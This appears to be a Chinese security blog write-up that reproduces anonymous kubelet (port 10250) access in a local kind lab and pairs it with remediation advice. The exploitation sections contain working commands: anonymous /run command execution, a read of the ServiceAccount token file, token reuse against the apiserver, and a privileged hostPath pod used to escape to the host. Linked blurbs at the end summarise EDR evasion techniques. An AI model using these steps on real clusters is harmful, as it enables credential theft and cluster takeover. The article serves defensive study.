云原生未授权系列之kubelet未授权:匿名执行节点命令"

admin 2026-10-18 03:19:23 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

云原生未授权系列之kubelet未授权:匿名执行节点命令

原创

0x00
0x00

随笔漫记安全路

2026年8月21日 08:45
北京

在小说阅读器读本章

去阅读

声明:本文针对的是已公开、有官方修复方案的配置类安全问题(kubelet 未授权访问)。所有操作均在本地靶机环境中完成,仅用于安全研究与防御学习。请勿对未授权目标进行测试。


一、漏洞背景

1.1 kubelet 是什么

Kubernetes 集群里,每个节点上都跑着一个 kubelet 进程。它是节点的\"大管家\"——master 通过它告诉节点\"该起哪个 Pod、该删哪个 Pod\",它就照着执行,并定期汇报节点和 Pod 的状态。

kubelet 不是被动等命令,它自己还开了一个 API 服务,监听两个端口:

端口 协议 作用
10250 HTTPS kubelet 主 API,提供最敏感的操作端点
10255 HTTP 只读端点(只读端口,已在新版本废弃)

10250 上有几个极其敏感的端点:

  • /pods —— 列出该节点上所有 Pod(含环境变量、挂载、ServiceAccount Token 路径)
  • /run/{namespace}/{pod}/{container} —— 在指定容器里执行命令
  • /exec、/attach、/portForward —— 交互式执行/端口转发
  • /logs —— 读容器日志

正常情况下,访问 10250 必须通过认证 + 授权(Webhook 模式,由 kube-apiserver 校验)。但当配置不当时,匿名用户也能调这些端点——等于在节点上白捡一个命令执行。

1.2 漏洞成因

kubelet 的认证授权由两个配置控制:

# /var/lib/kubelet/config.yaml
authentication:
  anonymous:
    enabled: true        # 允许匿名访问(漏洞根因之一)
authorization:
  mode: AlwaysAllow      # 授权全放行(漏洞根因之二)
  • anonymous.enabled: true —— 不带 token 也能连,身份是 system:anonymous
  • authorization.mode: AlwaysAllow —— 任何请求都允许

这两个一叠加,10250 就完全裸奔了。运维通常不会主动这么配,但老旧集群、自建集群、或者为了\"排障临时关掉认证忘改回来\",都会踩这个坑。

1.3 危害

匿名拿到 10250 后:

  1. /pods 列出节点所有 Pod,从环境变量/挂载里捞 ServiceAccount Token
  2. /run 在容器里执行命令,直接拿到 shell
  3. 用偷来的 Token 打 kube-apiserver,横向到整个集群

危害等级:高危


二、利用条件

条件 说明 本复现是否满足
10250 网络可达 攻击者能连到节点 kubelet 端口(内网可达 / 误暴露) ✅ kind 映射端口
anonymous-auth=true 允许匿名连接,这是漏洞根因,非默认配置 ✅ 手动改配置复现
授权放行(AlwaysAllow 或 RBAC 过宽) 匿名身份能调 /run、/pods ✅ 改成 AlwaysAllow 复现
无需受害者交互 攻击者主动连接即可 ✅ 纯主动利用
无需任何凭证 不需要 token/证书 ✅ 零认证
节点上有可用的 Pod /run 需要指定一个真实存在的 Pod/容器 ✅ 集群默认就有

关键判断:这不是默认可利用的漏洞,而是配置错误(关认证 + 授权放行)叠加后才触发。但一旦触发,从 /run 命令执行到拿集群控制权几乎没有门槛。

默认配置是否安全:kubeadm / kind 默认 anonymous.enabled: false,授权用 Webhook(由 apiserver 校验),默认是安全的。出问题的一定是被人改过配置或用了不规范的老集群。


三、环境搭建

用 kind 建集群,再\"刻意复现\"kubelet 匿名访问的配置。

3.1 创建集群

cat > kind-kubelet.yaml <<'EOF'
kind: Cluster
apiVersion: kind.x-k8s.io/v1alpha4
nodes:
- role: control-plane
  extraPortMappings:
  - containerPort: 10250
    hostPort: 10250
  - containerPort: 6443
    hostPort: 6443
EOF

kind create cluster --config kind-kubelet.yaml --name kubelet-lab

验证:

kubectl get nodes
# NAME                       STATUS   ROLES           AGE   VERSION
# kubelet-lab-control-plane  Ready    control-plane   1m    v1.29.x

3.2 复现漏洞:开启匿名访问

进入控制面节点:

docker exec -it kubelet-lab-control-plane bash

查看 kubelet 当前配置:

cat /var/lib/kubelet/config.yaml | grep -A3 -i \"anonymous\\|authorization\"

正常应该看到 anonymous.enabled: false、authorization.mode: Webhook。改成漏洞配置:

# 备份
cp /var/lib/kubelet/config.yaml /var/lib/kubelet/config.yaml.bak

# 用 sed 改两处
sed -i 's/enabled: false/enabled: true/' /var/lib/kubelet/config.yaml
sed -i 's/mode: Webhook/mode: AlwaysAllow/' /var/lib/kubelet/config.yaml

kind 节点内没有 systemd,直接 kill 进程让 kubelet 重启加载新配置:

# 找到 kubelet 进程并杀掉,它会被自动拉起
pkill kubelet

# 等几秒确认重启
ps -ef | grep kubelet | grep -v grep
exit

3.3 验证匿名访问已生效

# 不带任何 token/证书,直连 10250 的 /pods
curl -sk https://127.0.0.1:10250/pods | head -c 500

# 能返回一大串 JSON(节点上所有 Pod 信息),说明匿名访问已开启

正常加固的 kubelet,匿名访问 /pods 会返回 403 Forbidden;能返回数据即说明裸奔。


四、漏洞复现

攻击链全景

[1] 发现 10250 开放
        │
[2] curl /pods 验证匿名访问 → 拿到节点所有 Pod 信息
        │
[3] 从 Pod 信息里提取目标 namespace/pod/container
        │
[4] curl /run/{ns}/{pod}/{container} → 在容器里执行命令
        │
[5] 读 ServiceAccount Token → 横向打 kube-apiserver
        │
[6] 用 token 创建特权 Pod → 逃逸宿主机 → 接管集群

4.1 信息收集:发现 10250

nmap -p 10250,10255 127.0.0.1

# 10250/tcp open  ssl/http

10250 开放即高度可疑——这个端口只该对控制面开放。

4.2 验证匿名访问

# 列出节点上所有 Pod
curl -sk https://127.0.0.1:10250/pods > /tmp/pods.json

# 看看有哪些 Pod
python3 -c \"
import json
data = json.load(open('/tmp/pods.json'))
for item in data['items']:
    meta = item['metadata']
    print(f\\\"{meta['namespace']}/{meta['name']}\\\")
\"

输出类似:

kube-system/coredns-xxxxx
kube-system/etcd-kubelet-lab-control-plane
kube-system/kube-apiserver-xxxxx
default/...

/pods 返回的信息里还包含每个容器的环境变量和挂载点——/var/run/secrets/kubernetes.io/serviceaccount 这种路径就在里面,等于把\"哪里有 Token\"也告诉你了。

4.3 远程执行命令(核心)

kubelet 的 /run 端点可以在指定容器里执行命令。先挑一个 Pod(比如 kube-system 里随便一个):

# 提取一个目标 Pod
POD=$(python3 -c \"
import json
data = json.load(open('/tmp/pods.json'))
print(data['items'][0]['metadata']['name'])
\")
NS=$(python3 -c \"
import json
data = json.load(open('/tmp/pods.json'))
print(data['items'][0]['metadata']['namespace'])
\")
CONTAINER=$(python3 -c \"
import json
data = json.load(open('/tmp/pods.json'))
print(data['items'][0]['spec']['containers'][0]['name'])
\")
echo \"目标: $NS/$POD/$CONTAINER\"

执行命令:

# 在该容器里执行 id
curl -sk -XPOST \\
  \"https://127.0.0.1:10250/run/$NS/$POD/$CONTAINER\" \\
  -d \"cmd=id\"

# 返回: uid=0(root) 之类的

cmd 参数就是要执行的命令。到这一步,你已经在节点上的容器里拥有了命令执行能力,完全匿名,无需任何凭证。

4.4 偷 ServiceAccount Token 横向到 apiserver

每个 Pod 默认都挂载了所在 namespace 的 ServiceAccount Token。通过 /run 读取它:

# 读 token
TOKEN=$(curl -sk -XPOST \\
  \"https://127.0.0.1:10250/run/$NS/$POD/$CONTAINER\" \\
  -d \"cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token\")

echo \"$TOKEN\" | head -c 50
# eyJhbGciOiJSUzI1NiIs...

用这个 token 打 kube-apiserver:

kubectl --server=https://127.0.0.1:6443 \\
        --insecure-skip-tls-verify \\
        --token=\"$TOKEN\" \\
        get pods --all-namespaces

能列 Pod,说明 token 有效,已经横向到了集群 API 层。

4.5 用工具自动化(kubeletctl)

手动 curl 比较繁琐,社区有现成工具 kubeletctl(https://github.com/cyberark/kubeletctl[1]):

# 扫描集群所有节点的 kubelet 是否匿名可访问
kubeletctl scan --server 127.0.0.1

# 列出所有 Pod
kubeletctl pods --server 127.0.0.1

# 在指定容器执行命令
kubeletctl exec --server 127.0.0.1 \\
  --namespace $NS --pod $POD --container $CONTAINER \\
  --command \"cat /var/run/secrets/kubernetes.io/serviceaccount/token\"

kubeletctl scan 能一键识别整个集群哪些节点 kubelet 裸奔,实战中常用。

4.6 进一步:拿集群控制权

如果偷到的 ServiceAccount 权限足够(比如绑了 cluster-admin,这种过度授权在现实中很常见),直接创建特权 Pod 逃逸宿主机——和 etcd 篇、Docker 篇的后段完全一样:

kubectl --server=https://127.0.0.1:6443 \\
        --insecure-skip-tls-verify \\
        --token=\"$TOKEN\" apply -f - <<'EOF'
apiVersion: v1
kind: Pod
metadata:
  name: pwn
  namespace: default
spec:
  hostPID: true
  nodeSelector:
    kubernetes.io/hostname: kubelet-lab-control-plane
  tolerations:
  - key: node-role.kubernetes.io/control-plane
    operator: Exists
  containers:
  - name: pwn
    image: alpine
    command: [\"sleep\",\"3600\"]
    securityContext:
      privileged: true
    volumeMounts:
    - name: host
      mountPath: /host
  volumes:
  - name: host
    hostPath:
      path: /
EOF

Pod 起来后 nsenter --target 1 逃逸到宿主机,读 /etc/kubernetes/admin.conf 接管集群。至此完成 kubelet 未授权 → 节点命令执行 → 集群接管 的完整链路。


五、关键点解读

5.1 为什么 kubelet 匿名 = 节点失守

kubelet 的 /run 端点本质是\"在容器里执行任意命令\"。虽然命令在容器内执行(受容器隔离),但:

  1. 容器里通常有 ServiceAccount Token,偷出来就能横向到 apiserver
  2. 如果选中的 Pod 本身是特权 Pod(如一些监控 agent),命令执行可能直接波及宿主机
  3. /pods 泄露的 Pod 信息含环境变量,大量密码/key 直接暴露

所以匿名 kubelet 是\"节点级命令执行 + 集群横向\"的跳板,危害介于 Docker API(单机)和 etcd(全集群)之间。

5.2 和系列前两篇的区别

维度 etcd 未授权 Docker API 未授权 kubelet 未授权
入口 etcd 2379 dockerd 2375 kubelet 10250
直接危害 偷集群数据 拿单台宿主机 shell 节点容器命令执行
横向能力 强(Token 直接打 apiserver) 弱(限单机) 强(偷 token 打 apiserver)
利用门槛 中(需从 etcd 解 JWT) 低(一条 docker run) 中(需构造 /run 请求)

三者各有侧重,放在一起正好覆盖了云原生攻击面的三种典型路径。


六、踩坑记录

问题 原因 解决
curl /pods 返回 403 anonymous-auth 还是 false,或授权是 Webhook 确认 config.yaml 改成了 enabled: true + mode: AlwaysAllow,并重启 kubelet
pkill kubelet 后没重启 kind 节点内 kubelet 不是 systemd 管的 kind 的 kubelet 是静态进程,kill 后由容器内的 supervisor 拉起;若没拉起,docker restart 节点容器
/run 返回空 cmd 参数没传对,或 Pod 名/容器名拼错 /run/{ns}/{pod}/{container} 路径要精确,从 /pods 输出里复制
/run 报 container not found Pod 里有多个容器,只指定了第一个 用 /pods 确认所有容器名,指定正确的那个
偷的 token 用不了 1.24+ 的 SA token 是 BoundServiceAccountToken,有受众和过期限制 选 kube-system 里长期运行的 Pod(如 coredns),token 更稳定
kubectl 用 token 报 Unauthorized apiserver 启用了 --anonymous-auth=false 且 token 过期 换一个 Pod 重偷;apiserver 的 anonymous 和 kubelet 的是两回事

七、修复与防御

7.1 立即修复(根治)

# /var/lib/kubelet/config.yaml
authentication:
  anonymous:
    enabled: false          # 关闭匿名访问
  webhook:
    enabled: true           # 用 webhook 认证(由 apiserver 校验 token)
authorization:
  mode: Webhook             # 用 webhook 授权(由 apiserver 校验 RBAC)

改完重启 kubelet。这样 10250 必须带有效 token 才能访问,匿名请求直接 401。

7.2 纵深防御

层面 措施
网络隔离 10250 仅允许控制面节点访问,对业务网/公网全部拒绝
RBAC 收敛 即便认证绕过,最小权限 RBAC 也能限制能操作的资源;定期审计 clusterrolebindings
NodeRestriction 准入 启用 --enable-admission-plugins=NodeRestriction,限制 kubelet 只能操作自己节点上的资源,不能越权
Token 短期化 升级到 BoundServiceAccountToken(有过期 + 受众绑定),偷到的 token 很快失效
审计日志 开启 apiserver audit,监控匿名访问 10250、异常 /run 调用
定期扫描 用 kube-bench 跑 CIS 基线;用 kubeletctl scan 巡检所有节点

7.3 快速自检命令

# 1. 检查 kubelet 是否关了匿名访问
docker exec kubelet-lab-control-plane \\
  grep -A2 \"anonymous\" /var/lib/kubelet/config.yaml
# 期望: enabled: false

# 2. 检查授权模式
docker exec kubelet-lab-control-plane \\
  grep \"mode\" /var/lib/kubelet/config.yaml
# 期望: mode: Webhook

# 3. 从外部测试 10250 匿名访问(在非控制面机器执行)
curl -sk https://x.x.x.x:10250/pods
# 期望: 403 Forbidden 或 Connection refused

八、总结

阶段 攻击者动作 防御者应做
入口 扫描发现 10250 开放 10250 网络隔离,仅控制面可达
突破 匿名 curl /pods 拿 Pod 信息 anonymous-auth=false + Webhook 授权
执行 /run 在容器里执行命令 NodeRestriction 限制 kubelet 越权
横向 偷 SA Token 打 apiserver Token 短期化 + RBAC 最小权限
接管 创建特权 Pod 逃逸 PodSecurity 拒绝 privileged/hostPID

核心结论:kubelet 10250 匿名访问是\"节点级命令执行 + 集群横向\"的典型路径。修复成本极低(关匿名 + Webhook 授权),但一旦疏忽,从节点执行到集群接管几乎没有门槛。务必作为集群安全基线的必查项。


参考

  • Kubernetes 官方文档 - kubelet 认证授权:https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/[2]
  • kubeletctl 工具:https://github.com/cyberark/kubeletctl[3]
  • CIS Kubernetes Benchmark(kubelet 相关条目)

引用链接

[1]https://github.com/cyberark/kubeletctl

[2]https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/

[3]https://github.com/cyberark/kubeletctl


云原生未授权系列之kubelet未授权:匿名执行节点命令" 网络安全文章

云原生未授权系列之kubelet未授权:匿名执行节点命令"

本文详细分析了Kuberneteskubelet10250端口因开启匿名访问且授权模式设为AlwaysAllow导致的未授权命令执行漏洞。攻击者可通过/pods端点获取节点所有Pod信息,再利用/run端点在容器内匿名执行任意命令,进而窃取ServiceAccountToken横向移动至kube-apiserver,最终通过创建特权Pod逃逸宿主机实现集群接管。修复建议包括关闭匿名访问、启用Webhook授权、网络隔离10250端口、启用NodeRestriction准入控制及定期使用kube-bench
免杀对抗之睡眠混淆技术深度解析" 网络安全文章

免杀对抗之睡眠混淆技术深度解析"

本文深度解析了免杀对抗中的睡眠混淆技术,重点介绍了Ekko技术通过Windows定时器队列实现内存加密解密,避免了RX内存特征。文章从技术细节到代码实现,详细阐述了内存对抗的演进路径,为红队武器研发提供了可操作建议。
新免杀技术-进程参数投毒详细讲解及源项目免杀处理" 网络安全文章

新免杀技术-进程参数投毒详细讲解及源项目免杀处理"

本文详解Windows新型进程注入技术‘进程参数投毒’的原理与免杀实战。该技术利用CreateProcessW将Shellcode藏于PEB启动参数中,通过NtSetContextThread劫持主线程执行流,绕过主流EDR对远程内存写入的检测。针对原项目触发火绒查杀的PEB内存属性修改特征,作者提出用NtCreateSection和NtMapViewOfSection替代的改进方案。文中还剖析了API哈希解析、空字节包装机制及x64动态Shellcode生成等源码细节。
评论:0   参与:  0